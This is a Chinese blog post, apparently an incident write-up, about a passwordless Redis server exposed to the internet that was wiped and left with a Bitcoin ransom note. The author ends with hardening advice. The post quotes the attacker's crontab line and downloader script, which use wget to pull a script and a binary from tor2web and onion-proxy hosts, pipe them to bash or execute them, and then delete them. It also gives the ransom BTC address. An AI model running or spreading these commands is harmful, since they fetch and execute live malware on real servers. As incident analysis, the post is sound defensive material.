還在和媳婦兒逛街,突然同事打來電話說redis庫被清空。
於是,媳婦兒說你真是烏鴉嘴,早上還說redis如何被提權的事情。
怎麼剛出來就碰上了?
會不會是你搞的?
於是無形中又背鍋了。
見×××姐如此着急,邊安慰，邊提醒讓同事查一下,是什麼時候發生的事情,受害面積有多大？
但是×××姐很鎮靜的說,不可以啊,我們ucloud雲商上的redis的機器,是禁止外網登錄的,
所有外網的6379端口都被禁用了。
僅限本機登錄,於是,我問你有加密碼嘛？×××姐說,便於程序研發效率,內網環境,自然就沒有加密碼。
於是,匆匆忙忙趕回去,登錄上機器,通過uclod控制檯確認看了下。
我擦被那個蠢貨開啓了一臺機器的redis外網,而這臺機器,
××××××面除了一個監控調度的程序,是和其他機器完全隔離的,
沒有任何業務直接關聯的程序,除了redis,而且這臺機器也不能連接到其他機器的redis。
這臺機器沒有任何機密核心數據。
結果登陸上機器就出現了
Warning!
Your File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome!
!
Mail:[email protected]
Bi
BitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny遇上此事,別慌張,顯然是沒有備份你數據的，給了錢也不會有數據。
倒也是有人給付款,詳細查看下面阿里雲官方文章。
科普一下：
比特幣單價,寫此文時,價格是1BTC=44871.5元
正式走起....
習慣性的先crotab -l,看了下,因爲怕其他命令被篡改。
54 * * * * (wget -qO- -U- U- https://ddgsdk6oou6znsdn.tor2web.io/i.sh||wg||wget -qO- -U- U- http://ddgsdk6oou6znsdn.tor2web.me/i.sh||wg||wget -qO- -U- U- https://ddgsdk6oou6znsdn.onion.pet/i.sh||wg||wget -qO- -U- U- https://ddgsdk6oou6znsdn.onion.ws/i.sh)|bas|bash
一看高明瞭,直接使用了暗網地址。自己也嘗試用了洋蔥路由經過各種設置到了暗網去訪問,發現訪問不了。
於是google了一下可謂是怨聲載道。
聲明:需要在能訪問谷歌的前提下,點擊以下鏈接。
看不懂英文點擊這裏
原來坑不止這一個,於是想起以前的hadoop yarn的悲情故事。
查看到了阿里雲先知社區的文章,如此熟悉又那麼陌生。
緊接着確認了機器受害的情況,發現是在週六3點左右,
誰TM這時候搞,具有混淆性，乃至懷疑到了是不是內鬼所爲,登錄機器一查。
被清redis庫的機器上所有2018年11月3號的日誌,last信息,以及你能腦補到的,都被刪除了。
唯獨和唯一一臺被開啓外網redis端口機器不同的是:
"這些被清redis庫機器的root home data目錄下屬於的數據都在,也並沒有warning.txt."
毀壞程度可以查看阿里雲官網腳本(雖然我們任務計劃裏顯示的腳本只能下載下面這麼一個)
內容如下:
exec &>/dev/null
if ! ps -p $(< /tmp/.X11-lock); then
x=/var/tmp/.x
wget -qU- http://malwregafeg2fdjn.tor2web.me/.$(uname -m) -O$x;chmod 777 $x;$x;rm -f $x
fi但參考上面文檔以及直接受損害的機器,明顯就是root,home，data目錄都被刪。
腳本絲毫沒體現出備份到他們數據庫的意思。
看下人家10秒之內就可以抵擋,你垃圾Ucloud，並沒有動靜.
可謂是大廠和小廠的天壤之別。
來不及悲傷與埋怨,媳婦兒也明知道重要數據都是已轉移。
接下來的事情,就是確認其他redis機器,受害面。
以及彌補方法。
據同事說刪除了5臺機器的數據估計直接是flushdb all.
唯獨不一樣的是,被清庫的所有redis機器上面的文件目錄都在,
而且也沒有任何可疑的進程,更沒有任務計劃。
如果是***遠程操作清除日誌，奈何非要選擇z只清除清庫當天的日記。以及清除當天登錄消息。甚至如此瞭解。讓人不得不防是不是內鬼行爲？
在數據有挽回希望的同時,小媳婦兒心理由於沒有好好逛街,而超級不爽。
人漂亮,技術也好，人緣自然不差的她,甚是憋屈。
雖然每一個離職人的權限都收回了,然而被一臺沒有在乎的機器,被不知名的人從中作梗,害人害己,顯然讓人爲之懷疑這些搞破壞處心積慮的人之目的。
由於害怕被APT,查遍了所有機器,以及所有的祕鑰認證。
於是,筆者推薦用jumpserver一定要嚴格的把控好權限,就算你刪了日誌又何妨,有本事你來刪除我的跳轉機日誌。
畢竟權限大到好幾個人都有登錄嫌疑。又不好定位。
出事了開發人員大多都只管我現在不能用了,至於發生了什麼,大抵誰都不會搭理。
而在這件事情中,自己的感覺是每一個思維模式從安全的角度出發。而媳婦兒作爲大數據運維,是從運維的角度出發。
因此還是出現了分歧，比如她就會認爲是內鬼所有，當然這個機率很大，他會從當下時間去分析，然而在安全方向有一個最可怕的,那就是APT。
我不急於一時搞你,我就埋藏在這裏，用上長時間去抓包,分析你業務,***你機器，畢竟敵人在暗處，你在明處。
如果是內鬼,又何必寫別人的比特幣地址。因此種種作案手法,還是充滿嫌疑。
能做的就是換跳板機,做好最小授權。最後我提議上蜜罐。
管理實際上最難的一件事,無論是管人還是技術,隨便一個冷區,容易忽視的冷區,都可能成爲歹徒興風作浪的切入點。
而做一個技術人,術業有專攻,哪怕你再聰明,永遠做不到絕對的安全。
還記得初入職場,清華大學的CTO給在下的一句話,知道你自己肩上的擔子多重嗎？
我的回答是知道：因爲我是有root權限的人......